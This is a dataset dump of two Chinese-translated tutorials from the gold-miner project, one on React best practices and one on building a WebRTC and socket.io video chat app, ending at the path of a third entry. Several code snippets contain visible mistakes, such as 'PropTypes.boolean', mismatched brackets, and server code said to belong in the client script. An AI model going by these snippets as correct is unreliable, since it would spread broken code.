  {
    "path": "TODO1/how-to-write-better-code-in-react-best-practices.md",
    "content": "> * 原文地址：[How To Write Better Code In React](https://blog.bitsrc.io/how-to-write-better-code-in-react-best-practices-b8ca87d462b0)\n> * 原文作者：[Rajat S](https://blog.bitsrc.io/@geeky_writer_?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-write-better-code-in-react-best-practices.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-write-better-code-in-react-best-practices.md)\n> * 译者：[jonjia](https://github.com/jonjia)\n> * 校对者：[jasonxia23](https://github.com/jasonxia23) [老教授](https://github.com/weberpan)\n\n# 如何写出更好的 React 代码\n\n## 写出更好的 React 代码的 9 条实用提示：了解代码检查、propTypes、PureComponent 等。\n\n![](https://cdn-images-1.medium.com/max/2000/1*4ihBhwd0DygCWHN-Bo24BA.png)\n\n使用 [React](https://reactjs.org/) 可以轻松创建交互式界面。为应用中的每个状态设计简单的视图，当数据变化时，React 会高效地更新和渲染正确的组件。\n\n这篇文章中，我会介绍一些使你成为更好的 React 开发者的方法。包括从工具到代码风格等一系列内容，这些都可以帮助你提升 React 相关技能。 💪\n\n* * *\n\n### 代码检查\n\n要写出更好代码，很重要的一件事就是使用好的代码检查工具。如果我们配置好了一套代码检查规则，代码编辑器就能帮我们捕捉到任何可能出现的代码问题。\n\n但除了捕捉问题，[ES Lint](https://eslint.org/) 也会让你不断学习到 React 代码的最佳实践。\n\n```\nimport react from 'react';\n/* 其它 imports */\n\n/* Code */\n\nexport default class App extends React.Component {\n  render() {\n    const { userIsLoaded, user } = this.props;\n    if (!userIsLoaded) return <Loader />;\n    \n    return (\n      /* Code */\n    )\n  }\n}\n```\n\n看一下上面的代码。假设你想在 `render()` 方法中引用一个叫做 `this.props.hello` 的新属性。代码检查工具会马上把代码变红，并提示：\n\n```\nprops 验证没有 'hello' (react/prop-types)\n```\n\n代码检查工具会让你认识到 React 的最佳实践并塑造你对代码的理解。很快，之后写代码的时候，你就会开始避免犯错了。\n\n你可以去 [ESLint 官网](https://eslint.org) 为 JavaScript 配置代码检查工具，或者使用 [Airbnb’s JavaScript Style Guide](https://github.com/airbnb/javascript)。也可以安装 [React ESLint Package](https://www.npmjs.com/package/eslint-plugin-react)。\n\n* * *\n\n### [propTypes](https://www.npmjs.com/package/prop-types) 和 defaultProps\n\n上一节中，我谈到了当使用一个不存在的 prop 时，我的代码检查工具是如何起作用的。\n\n```\nstatic propTypes = {\n  userIsLoaded: PropTypes.boolean.isRequired,\n  user: PropTypes.shape({\n    _id: PropTypes.string,\n  )}.isRequired,\n}\n```\n\n在这里，如果 `userIsLoaded` 不是必需的，那么我们就要在代码中添加说明：\n\n```\nstatic defaultProps = {\n userIsLoaded: false,\n}\n```\n\n所以每当我们要在组件中使用 `参数类型检查`，就要为它设置一个 propType。如上，我们告诉 React：`userIsLoaded` 的类型永远是一个布尔值。\n\n如果我们声明 `userIsLoaded` 不是必需的值，那么我们就要为它定义一个默认值。如果是必需的，就没有必要定义默认值。但是，规则还指出不应该使用像对象或数组这样不明确的 propTypes。\n\n为什么使用 `shape` 方法来验证 `user` 呢，因为它内部需要有一个 类型为字符串的 `id` 属性，而整个 `user` 对象又是必需的。\n\n确保使用了 `props` 的每个组件都声明了 `propTypes` 和 `defaultProps`，这对写出更好的 React 代码很有帮助。\n\n当 props 实际获取的数据和期望的不同时，错误日志就会让你知道：要么是你传递了错误的数据，要么就是没有得到期望值，特别是写可重用组件时，找出错误会更容易。这也会让这些可重用组件更可读一些。\n\n#### 注意：\n\nReact 从 v15.5 版本开始，不再内置 proptypes，需要作为独立的依赖包添加到你的项目中。\n\n点击下面的链接了解更多：\n\n- [**prop-types**：用于运行时检查 React props 和类似对象类型的工具](https://www.npmjs.com/package/prop-types)\n\n* * *\n\n### 知道何时创建新组件\n\n```\nexport default class Profile extends PureComponent {\n  static propTypes = {\n    userIsLoaded: PropTypes.bool,\n    user: PropTypes.shape({\n      _id: PropTypes.string,\n    }).isRequired,\n  }\n  \n  static defaultProps = {\n    userIsLoaded: false,\n  }\n  \n  render() {\n    const { userIsLoaded, user } = this.props;\n    if (!userIsLoaded) return <Loaded />;\n    return (\n      <div>\n        <div className=\"two-col\">\n          <section>\n            <MyOrders userId={user._id} />\n            <MyDownloads userId={user._id} />\n          </section>\n          <aside>\n            <MySubscriptions user={user} />\n            <MyVotes user={user} />\n          </aside>\n        </div>\n        <div className=\"one-col\">\n          {isRole('affiliate', user={user._id) &&\n            <MyAffiliateInfo userId={user._id} />\n          }\n        </div>\n      </div>\n    )\n  }\n}\n```\n\n上面有一个名为 `Profile` 的组件。这个组件内部还有一些像 `MyOrder` 和 `MyDownloads` 这样的其它组件。因为它们从同一个数据源（`user`）获取数据，所以可以把所有这些组件写到一起。把这些小组件变成一个巨大的组件。\n\n尽管什么时候才要创建一个新组件没有任何硬性规定，但问问你自己：\n\n*   代码的功能变得笨重了吗？\n*   它是否只代表了自己的东西？\n*   是否需要重用这部分代码？\n\n如果上面有一个问题的答案是肯定的，那你就需要创建一个新组件了。\n\n记住，任何人如果看到你的有 200–300 行的组件时都会抓狂的，然后没人会想再看你的代码。\n\n* * *\n\n### Component vs PureComponent vs Stateless Functional Component\n\n对于一个 React 开发者，知道在代码中什么时候该使用 **Component**、 **PureComponent** 和 **Stateless Functional Component** 是非常重要的。\n\n你可能注意到了在上面的代码中，我没有将 `Profile` 继承自 `Component`，而是 `PureComponent`。\n\n首先，来看看无状态函数式组件。\n\n#### Stateless Functional Component（无状态函数式组件）\n\n```\nconst Billboard = () => (\n  <ZoneBlack>\n    <Heading>React</Heading>\n    <div className=\"billboard_product\">\n      <Link className=\"billboard_product-image\" to=\"/\">\n        <img alt=\"#\" src=\"#\">\n      </Link>\n      <div className=\"billboard_product-details\">\n        <h3 className=\"sub\">React</h3>\n        <p>Lorem Ipsum</p>\n      </div>\n    </div>\n  </ZoneBlack>\n);\n```\n\n无状态函数式组件是一种很常见的组件类型。它为我们提供了一种非常简洁的方式来创建不使用任何 [**state**](https://reactjs.org/docs/faq-state.html)、[**refs**](https://hackernoon.com/refs-in-react-all-you-need-to-know-fb9c9e2aeb81) 或 [**生命周期方法**](https://reactjs.org/docs/state-and-lifecycle.html) 的组件。\n\n无状态函数式组件的特点是没有状态并且只有一个函数。所以你可以把组件定义为一个返回一些数据的常量函数。\n\n简单来说，无状态函数式组件就是返回 JSX 的函数。\n\n#### [PureComponents](https://reactjs.org/docs/react-api.html#reactpurecomponent)\n\n通常，一个组件获取了新的 prop，React 就会重新渲染这个组件。但有时，新传入的 prop 并没有真正改变，React 还是触发重新渲染。\n\n使用 `PureComponent` 可以帮助你避免这种重新渲染的浪费。例如，一个 prop 是字符串或布尔值，它改变后，`PureComponent` 会识别到这个改变，但如果 prop 是一个对象，它的属性改变后，`PureComponent` 不会触发重新渲染。\n\n那么如何知道 React 何时会触发一个不必要的重新渲染呢？你可以看看这个叫做 [Why Did You Update](http://github.com/maicki/why-did-you-update) 的 React 包。当不必要的重新渲染发生时，这个包会在控制台中通知你。\n\n![](https://cdn-images-1.medium.com/max/800/1*CL5jum98a0QxOWeIb9QRBg.png)\n\n一旦你确认了一个不必要的重新渲染，就可以使用 `PureComponent` 替换 `Component` 来避免。\n\n* * *\n\n### 使用 React 开发者工具\n\n如果你真想成为一个专业的 React 开发者，那么在开发过程中，就应该经常使用 React 开发者工具。\n\n如果你使用过 React，你的控制台很可能建议过你使用 React 开发者工具。\n\nReact 开发者工具适用于所有主流浏览器，例如：[Chrome](https://chrome.google.com/webstore/detail/react-developer-tools/fmkadmapgofadopljbjfkapdkoienihi?hl=en) 和 [Firefox](https://addons.mozilla.org/en-US/firefox/addon/react-devtools/)。\n\n通过 React 开发者工具，你可以看到整个应用结构和应用中正在使用的 props 和 state。\n \nReact 开发者工具是探索 React 组件的绝佳方式，也有助于诊断应用中的问题。\n\n* * *\n\n### 使用内联条件语句\n\n这个观点可能会引起一些争议，但我发现使用内联条件语句可以明显简化我的 React 代码。\n\n如下：\n\n```\n<div className=\"one-col\">\n  {isRole('affiliate', user._id) &&\n    <MyAffiliateInfo userId={user._id} />\n  }\n</div>\n```\n\n上面代码中，有一个检查这个人是否是 “affiliate” 的方法，后面跟了一个叫做 `<MyAffiliateInfo/>` 的组件。\n\n这样做的好处是：\n\n*   不必编写单独的函数\n*   不必在 render 方法中使用 “if” 语句\n*   不必为组件中的其它位置创建“链接”\n\n使用内联条件语句非常简洁。开始你可以把条件写为 true，那么 `<MyAffiliateInfo />` 组件无论如何都会显示。\n\n然后我们使用 `&&` 连接条件和 `<MyAffiliateInfo />`。这样当条件为真时，组件就会被渲染。\n\n* * *\n\n### 尽可能使用代码片段库\n\n打开一个代码编辑器（我用的是 VS Code），新建一个 js 文件。\n\n在这个文件中输入 `rc`，就会看见如下提示：\n\n![](https://cdn-images-1.medium.com/max/800/1*DKVKG5IQB2XQ4GR1uEVDUw.png)\n\n按下回车键，会立刻得到下面的代码片段：\n\n![](https://cdn-images-1.medium.com/max/800/1*ICQlmjGkoM_27Mz8tD1ZyA.png)\n\n这些代码片段的优点不仅是帮助你减少 bug，还能帮助你获取到最新最棒的写法。\n\n你可以在代码编辑器中安装许多不同的代码片段库。我用于 [VS Code](https://code.visualstudio.com/) 的叫做 [ES7 React/Redux/React-Native/JS Snippets](https://marketplace.visualstudio.com/items?itemName=dsznajder.es7-react-js-snippets)。\n\n* * *\n\n### [React Internals](http://www.mattgreer.org/articles/react-internals-part-one-basic-rendering/) — 了解 React 内部如何工作\n\nReact Internals 是一个共五篇的系列文章，帮助我理解 React 的基础知识，最终帮助我成为一个更好的 React 开发者！\n\n如果你对某些问题不能完全理解，或者你知道 React 的工作原理，那么 React Internals 可以帮助你理解**何时、如何**在 React 中做对的事。\n\n这对那些不清楚在哪里执行代码的人特别有用。\n\n理解 React 内部运行原理会帮助你成为更好的 React 开发者。\n\n* * *\n\n### 在你的组件中使用 [Bit](https://bitsrc.io) 和 [StoryBook](https://storybook.js.org/)\n\n[Bit](https://bitsrc.io) 是一个将你的 UI 组件转化为可以在不同应用中分享、开发和同步的构建块的工具。\n\n你也可以利用 Bit 管理团队组件，通过 [线上组件区](https://blog.bitsrc.io/introducing-the-live-react-component-playground-d8c281352ee7)，可以使它们容易获取和使用，也便于单独测试。\n\n- [**Bit — 共享共创代码组件**：Bit 让使用小组件构建软件更简单有趣，在你的团队中分享同步这些组件](https://bitsrc.io)\n\n[Storybook](https://github.com/storybooks/storybook) 是用于 UI 组件的快速开发环境，可以帮助你浏览一个组件库，查看每个组件的不同状态，交互式开发和测试组件。\n\nStorybook 提供了一个帮你快速开发 React 组件的环境，通过它，当你操作组件的属性时，Web 页面会热更新，让你看到组件的实时效果。\n\n* * *\n\n### 快速回顾\n\n1. 使用代码检查工具，使用 ES Lint、Airbnb’s JavaScript Style Guide 和 ESLint React 插件。\n2. 使用 propTypes 和 defaultProps。\n3. 知道何时创建新组件。\n4. 知道何时使用 Component、PureComponent 和 Stateless Functional Component。\n5. 使用 React 开发者工具。\n6. 使用内联条件语句。\n7. 使用代码片段库，节省浪费在样板代码上的时间。\n8. 通过 React Internals 了解 React 如何工作。\n9. 使用像 Bit、StoryBook 这样的工具来优化开发流程。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-write-video-chat-app-using-webrtc-and-nodejs.md",
    "content": "> * 原文地址：[WebRTC and Node.js: Development of a real-time video chat app](https://tsh.io/blog/how-to-write-video-chat-app-using-webrtc-and-nodejs/)\n> * 原文作者：[Mikołaj Wargowski](https://github.com/Miczeq22) \n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-write-video-chat-app-using-webrtc-and-nodejs.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-write-video-chat-app-using-webrtc-and-nodejs.md)\n> * 译者：[👊Badd](https://juejin.im/user/5b0f6d4b6fb9a009e405dda1)\n> * 校对者：[RubyJy](https://github.com/RubyJy), [cyz980908](https://github.com/cyz980908)\n\n# WebRTC 联手 Node.js：打造实时视频聊天应用\n\n> **(实时)时间就是金钱，那我就开门见山了。在本文中，我将带你写一个视频聊天应用，支持两个用户之间进行视频和语音通信。没什么难度，也没什么花哨的东西，却是一次 JavaScript —— 严格来说是 WebRTC 和 [Node.js](https://tsh.io/services/web-development/node/) —— 的绝佳试炼。**\n\n## 何为 WebRTC？\n\n**网络实时通信（Web Real-Time Communication，缩写为 WebRTC）是一项 HTML5 规范，它使你能直接用浏览器进行实时通讯，不用依赖第三方插件**。WebRTC 有多种用途（甚至能实现文件共享），但其主要应用为实时点对点音频与视频通讯，本文的重点也是这一点。\n\nWebRTC 的强大之处在于允许访问设备 —— 你可以通过 WebRTC 调用麦克风、摄像头，甚至共享屏幕，而且全部都是实时进行的！因此，WebRTC 用最简单的方式\n\n> **使网页语音视频聊天成为可能。**\n\n## WebRTC JavaScript API\n\nWebRTC 是一个复杂的话题，这其中涉及很多技术。而建立连接、通讯、传输数据是通过一系列 JavaScript API。主要的 API 有：\n\n- **RTCPeerConnection** —— 创建并导航点对点连接，\n- **RTCSessionDescription** —— 描述（潜在的）连接端点及其配置，\n- **navigator.getUserMedia** —— 获取音视频。\n\n## 为何用 Node.js？\n\n若想在两个或多个设备之间建立远程连接，你需要一个服务器。在本例中，你需要的是一个能操控实时通讯的服务器。你知道 Node.js 是支持实时可扩展应用的。要开发能自由交换数据的双向连接应用，你可能会用到 WebSocket，它能在客户端和服务端之间打开一个通讯会话。客户端发出的请求被处理成一个循环 —— 严格讲是事件循环，这使得 Node.js 成为一个不错的选择，因为它使用了“无阻塞”的方法来处理请求，这样就能实现低延迟和高吞吐量。\n\n扩展阅读： [Node.js 新特性将颠覆 AI、物联网等更多惊人领域](https://juejin.im/post/5dbb8d70f265da4d12067a3e)\n\n## 思路演示：我们要做个什么东西？\n\n我们要做一个非常简单的应用，它能向被连接的设备推送音频流和视频流 —— 一个基本的视频聊天应用。我们将会用到：\n\n- Express 库，用以提供用户界面 HTML 文件之类的静态文件，\n- socket.io 库，用 WebSocket 在两个设备间建立一个连接，\n- WebRTC，使媒体设备（摄像头和麦克风）能在连接设备之间推送音频流和视频流。\n\n## 实现视频聊天\n\n第一步，我们要有一个用作应用的用户界面的 HTML 文件。用 `npm init` 初始化一个新的 Node.js 项目。然后，运行 `npm i -D typescript ts-node nodemon @types/express @types/socket.io` 来安装一些开发依赖包，运行 `npm i express socket.io` 来安装生产依赖包。\n\n现在，我们可以在 `package.json` 文件中写一个脚本，来运行项目：\n\n```json\n{\n \"scripts\": {\n   \"start\": \"ts-node src/index.ts\",\n   \"dev\": \"nodemon --watch 'src/**/*.ts' --exec 'ts-node' src/index.ts\"\n },\n \"devDependencies\": {\n   \"@types/express\": \"^4.17.2\",\n   \"@types/socket.io\": \"^2.1.4\",\n   \"nodemon\": \"^1.19.4\",\n   \"ts-node\": \"^8.4.1\",\n   \"typescript\": \"^3.7.2\"\n },\n \"dependencies\": {\n   \"express\": \"^4.17.1\",\n   \"socket.io\": \"^2.3.0\"\n }\n}\n```\n\n我们运行 `npm run dev` 命令后，Nodemon 会监听 src 文件夹中每一个 `.ts` 后缀的文件的变动。现在我们来创建一个 src 文件夹，在 src 中，创建两个 TypeScript 文件：`index.ts` 和 `server.ts`。\n\n在 `server.ts` 里，我们会创建一个 Server 类，并使之配合 Express 和 socket.io：\n\n```ts\nimport express, { Application } from \"express\";\nimport socketIO, { Server as SocketIOServer } from \"socket.io\";\nimport { createServer, Server as HTTPServer } from \"http\";\n \nexport class Server {\n private httpServer: HTTPServer;\n private app: Application;\n private io: SocketIOServer;\n \n private readonly DEFAULT_PORT = 5000;\n \n constructor() {\n   this.initialize();\n \n   this.handleRoutes();\n   this.handleSocketConnection();\n }\n \n private initialize(): void {\n   this.app = express();\n   this.httpServer = createServer(this.app);\n   this.io = socketIO(this.httpServer);\n }\n \n private handleRoutes(): void {\n   this.app.get(\"/\", (req, res) => {\n     res.send(`<h1>Hello World</h1>`); \n   });\n }\n \n private handleSocketConnection(): void {\n   this.io.on(\"connection\", socket => {\n     console.log(\"Socket connected.\");\n   });\n }\n \n public listen(callback: (port: number) => void): void {\n   this.httpServer.listen(this.DEFAULT_PORT, () =>\n     callback(this.DEFAULT_PORT)\n   );\n }\n}\n```\n\n我们需要在 `index.ts` 文件里新建一个 `Server` 类的实例并调用 `listen` 方法，这样就能启动服务器了：\n\n```ts\nimport { Server } from \"./server\";\n \nconst server = new Server();\n \nserver.listen(port => {\n console.log(`Server is listening on http://localhost:${port}`);\n});\n```\n\n现在运行 `npm run dev`，我们将会看到：\n\n![](https://tsh.io/wp-content/uploads/2019/11/how-to-write-a-real-time-video-chat-app-1_.png)\n\n打开浏览器访问 [http://localhost:5000](http://localhost:5000/)，我们会看到“Hello World”字样：\n\n![](https://tsh.io/wp-content/uploads/2019/11/how-to-write-a-real-time-video-chat-app-2_.png)\n\n现在，我们要创建一个新的 HTML 文件 `public/index.html`：\n\n```html\n<!DOCTYPE html>\n<html lang=\"en\">\n <head>\n   <meta charset=\"UTF-8\" />\n   <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n   <meta http-equiv=\"X-UA-Compatible\" content=\"ie=edge\" />\n   <title>Dogeller</title>\n   <link\n     href=\"https://fonts.googleapis.com/css?family=Montserrat:300,400,500,700&display=swap\"\n     rel=\"stylesheet\"\n   />\n   <link rel=\"stylesheet\" href=\"./styles.css\" />\n   <script src=\"https://cdnjs.cloudflare.com/ajax/libs/socket.io/2.3.0/socket.io.js\"></script>\n </head>\n <body>\n   <div class=\"container\">\n     <header class=\"header\">\n       <div class=\"logo-container\">\n         <img src=\"./img/doge.png\" alt=\"doge logo\" class=\"logo-img\" />\n         <h1 class=\"logo-text\">\n           Doge<span class=\"logo-highlight\">ller</span>\n         </h1>\n       </div>\n     </header>\n     <div class=\"content-container\">\n       <div class=\"active-users-panel\" id=\"active-user-container\">\n         <h3 class=\"panel-title\">Active Users:</h3>\n       </div>\n       <div class=\"video-chat-container\">\n         <h2 class=\"talk-info\" id=\"talking-with-info\"> \n           Select active user on the left menu.\n         </h2>\n         <div class=\"video-container\">\n           <video autoplay class=\"remote-video\" id=\"remote-video\"></video>\n           <video autoplay muted class=\"local-video\" id=\"local-video\"></video>\n         </div>\n       </div>\n     </div>\n   </div>\n   <script src=\"./scripts/index.js\"></script>\n </body>\n</html>\n```\n\n在这个文件里，我们声明两个视频元素：一个用来呈现远程视频连接，另一个用来呈现本地视频。你可能已经注意到了，我们还引入了本地脚本文件，所以让我们来新建一个文件夹 —— 命名为 `scripts` 并在其中创建 `index.js` 文件。至于样式文件，你可以在 [GitHub 仓库](https://github.com/Miczeq22/simple-chat-app)下载到。\n\n现在就该把 `index.html` 从服务端传给浏览器了。首先你要告诉 Express，你要返回哪个静态文件。这需要我们在 `Server` 类中实现一个新的方法：\n\n```ts\nprivate configureApp(): void {\n   this.app.use(express.static(path.join(__dirname, \"../public\")));\n }\n ```\n\n别忘了在 `initialize` 方法中调用 `configureApp` 方法：\n\n```ts\nprivate initialize(): void {\n   this.app = express();\n   this.httpServer = createServer(this.app);\n   this.io = socketIO(this.httpServer);\n \n   this.configureApp();\n   this.handleSocketConnection();\n }\n```\n\n至此，当打开 [http://localhost:5000](http://localhost:5000/)，你会看到 `index.html` 文件已经运行起来了：\n\n![](https://tsh.io/wp-content/uploads/2019/11/how-to-write-a-real-time-video-chat-app-3_.png)\n\n下一步就该访问摄像头和麦克风，并让媒体流展示在 `local-video` 元素中了。打开 `public/scripts/index.js` 文件，添加以下代码：\n\n```js\nnavigator.getUserMedia(\n { video: true, audio: true },\n stream => {\n   const localVideo = document.getElementById(\"local-video\");\n   if (localVideo) {\n     localVideo.srcObject = stream;\n   }\n },\n error => {\n   console.warn(error.message);\n }\n);\n```\n\n再回到浏览器，你会看到一个请求访问媒体设备的提示框，授权这个请求后，你会看到你的摄像头被唤醒了！\n\n![](https://tsh.io/wp-content/uploads/2019/11/how-to-write-a-real-time-video-chat-app-4_.png)\n\n扩展阅读：[简易指南：Node.js 的并发性及一些坑](https://tsh.io/blog/simple-guide-concurrency-node-js/)\n\n## 如何处理 socket 连接？\n\n现在我们将着重关注如何处理 socket 连接 —— 我们需要连接客户端和服务端，故此要用到 socket.io。在 `public/scripts/index.js` 中添加：\n\n```js\nthis.io.on(\"connection\", socket => {\n     const existingSocket = this.activeSockets.find(\n       existingSocket => existingSocket === socket.id\n     );\n \n     if (!existingSocket) {\n       this.activeSockets.push(socket.id);\n \n       socket.emit(\"update-user-list\", {\n         users: this.activeSockets.filter(\n           existingSocket => existingSocket !== socket.id\n         )\n       });\n \n       socket.broadcast.emit(\"update-user-list\", {\n         users: [socket.id]\n       });\n     }\n   }\n```\n\n刷新页面就能看到终端中有一条信息：“Socket connected”。\n\n![](https://tsh.io/wp-content/uploads/2019/11/how-to-write-a-real-time-video-chat-app-5_.png)此时我们再回到 `server.ts` 将 socket 存到内存中，便于保持连接的唯一性。也就是说，在 `Server` 类中增加一个新的私有字段：\n\n```ts\nprivate activeSockets: string[] = [];\n```\n\n在连接 socket 时检查是否已经有 socket 存在了。如果还没有，那就向内存中添加新的 socket，并将数据发送给连接的用户：\n\n```ts\nthis.io.on(\"connection\", socket => {\n     const existingSocket = this.activeSockets.find(\n       existingSocket => existingSocket === socket.id\n     );\n \n     if (!existingSocket) {\n       this.activeSockets.push(socket.id);\n \n       socket.emit(\"update-user-list\", {\n         users: this.activeSockets.filter(\n           existingSocket => existingSocket !== socket.id\n         )\n       });\n \n       socket.broadcast.emit(\"update-user-list\", {\n         users: [socket.id]\n       });\n     }\n   }\n```\n\n还需要在 socket 断开时做出响应，所以要在 socket 里面添加：\n\n```ts\nsocket.on(\"disconnect\", () => {\n   this.activeSockets = this.activeSockets.filter(\n     existingSocket => existingSocket !== socket.id\n   );\n   socket.broadcast.emit(\"remove-user\", {\n     socketId: socket.id\n   });\n });\n```\n\n在客户端（也就是 `public/scripts/index.js`），你需要对这些消息施行对应的操作：\n\n```js\nsocket.on(\"update-user-list\", ({ users }) => {\n updateUserList(users);\n});\n \nsocket.on(\"remove-user\", ({ socketId }) => {\n const elToRemove = document.getElementById(socketId);\n \n if (elToRemove) {\n   elToRemove.remove();\n }\n});\n```\n\n这是 `updateUserList` 函数：\n\n```js\nfunction updateUserList(socketIds) {\n const activeUserContainer = document.getElementById(\"active-user-container\");\n \n socketIds.forEach(socketId => {\n   const alreadyExistingUser = document.getElementById(socketId);\n   if (!alreadyExistingUser) {\n     const userContainerEl = createUserItemContainer(socketId);\n     activeUserContainer.appendChild(userContainerEl);\n   }\n });\n}\n```\n\n还有 `createUserItemContainer` 函数：\n\n```js\nfunction createUserItemContainer(socketId) {\n const userContainerEl = document.createElement(\"div\");\n \n const usernameEl = document.createElement(\"p\");\n \n userContainerEl.setAttribute(\"class\", \"active-user\");\n userContainerEl.setAttribute(\"id\", socketId);\n usernameEl.setAttribute(\"class\", \"username\");\n usernameEl.innerHTML = `Socket: ${socketId}`;\n \n userContainerEl.appendChild(usernameEl);\n \n userContainerEl.addEventListener(\"click\", () => {\n   unselectUsersFromList();\n   userContainerEl.setAttribute(\"class\", \"active-user active-user--selected\");\n   const talkingWithInfo = document.getElementById(\"talking-with-info\");\n   talkingWithInfo.innerHTML = `Talking with: \"Socket: ${socketId}\"`;\n   callUser(socketId);\n }); \n return userContainerEl;\n}\n```\n\n请注意，我们在用户容器元素上添加了一个点击事件监听，点击会调用 `callUser` 函数 —— 就目前来说，你可以先写成空函数。现在，当你运行两个浏览器窗口（其中一个作为本地用户窗口），你会发现在应用中有两个连接中的 socket：\n\n![](https://tsh.io/wp-content/uploads/2019/11/how-to-write-a-real-time-video-chat-app-6_.png)\n\n点击列表中的在线用户后，要调用 `callUser` 函数。但在实现该函数前，你需要在 `window` 对象中声明两个类。\n\n```js\nconst { RTCPeerConnection, RTCSessionDescription } = window;\n```\n\n我们会在 `callUser` 函数中用到它们： \n\n```js\nasync function callUser(socketId) {\n const offer = await peerConnection.createOffer();\n await peerConnection.setLocalDescription(new RTCSessionDescription(offer));\n \n socket.emit(\"call-user\", {\n   offer,\n   to: socketId\n });\n}\n```\n\n这里，我们创建了一个本地连接请求，并发送给被选中的用户。服务端会监听一个叫做 `call-user` 的事件，拦截本地发出的连接请求，并发送给被选中的用户。在 `server.ts` 中需要这样实现： \n\n```ts\nsocket.on(\"call-user\", data => {\n   socket.to(data.to).emit(\"call-made\", {\n     offer: data.offer,\n     socket: socket.id\n   });\n });\n```\n\n现在在客户端，我们需要对 `call-made` 事件做出响应：\n\n```js\nsocket.on(\"call-made\", async data => {\n await peerConnection.setRemoteDescription(\n   new RTCSessionDescription(data.offer)\n );\n const answer = await peerConnection.createAnswer();\n await peerConnection.setLocalDescription(new RTCSessionDescription(answer));\n \n socket.emit(\"make-answer\", {\n   answer,\n   to: data.socket\n });\n});\n```\n\n然后，给这个从服务端收到的连接请求设置一个远程描述，并给该请求创建一个回应。在服务端，你需要把对应的数据传给被选中的用户。在 `server.ts`中，在添加一个事件监听：\n\n```ts\nsocket.on(\"make-answer\", data => {\n   socket.to(data.to).emit(\"answer-made\", {\n     socket: socket.id,\n     answer: data.answer\n   });\n });\n```\n\n相应地，在客户端处理 `answer-made` 事件：\n\n```js\nsocket.on(\"answer-made\", async data => {\n await peerConnection.setRemoteDescription(\n   new RTCSessionDescription(data.answer)\n );\n \n if (!isAlreadyCalling) {\n   callUser(data.socket);\n   isAlreadyCalling = true;\n }\n});\n```\n\n我们使用一个非常有用的标志 —— `isAlreadyCalling` —— 来确保只对该用户呼叫一次。\n\n最后，只需添加本地记录 —— 音频和视频 —— 到连接中即可，这样就能与连接的用户共享音频和视频了。那就需要我们在 `navigator.getMediaDevice` 回调函数中，用 `peerConnection` 对象调用 `addTrack` 函数。\n\n```js\nnavigator.getUserMedia(\n { video: true, audio: true },\n stream => {\n   const localVideo = document.getElementById(\"local-video\");\n   if (localVideo) {\n     localVideo.srcObject = stream;\n   }\n \n   stream.getTracks().forEach(track => peerConnection.addTrack(track, stream));\n },\n error => {\n   console.warn(error.message);\n }\n);\n```\n\n以及为 `ontrack` 事件添加对应的处理函数：\n\n```js\npeerConnection.ontrack = function({ streams: [stream] }) {\n const remoteVideo = document.getElementById(\"remote-video\");\n if (remoteVideo) {\n   remoteVideo.srcObject = stream;\n }\n};\n```\n\n如你所见，我们从传入的对象中获取到了媒体流，并改写了 `remote-video` 中的 `srcObject`，以便使用接收到的媒体流。所以，现在当你点击了一个在线用户，你就能建立一个音视频连接，如下：\n\n![](https://tsh.io/wp-content/uploads/2019/11/how-to-write-a-real-time-video-chat-app-7_.png)\n\n扩展阅读：[Node.js 和依赖注入 —— 是敌是友？](https://tsh.io/blog/dependency-injection-in-node-js/)\n\n## 现在你已经点亮了开发视频聊天应用的技能啦！\n\nWebRTC 是个庞大的话题 —— 特别是如果你想要知道其深层原理的时候。幸运的是，我们有简单易用的 JavaScript API 可以用，使我们能够做出诸如视频聊天应用等十分简洁的应用！\n\n如果你想深入了解 WebRTC，请看 [WebRTC 官方文档](https://webrtc.org/start/)。个人推荐阅读 [MDN 文档](https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-we-built-the-fastest-conference-website-in-the-world.md",
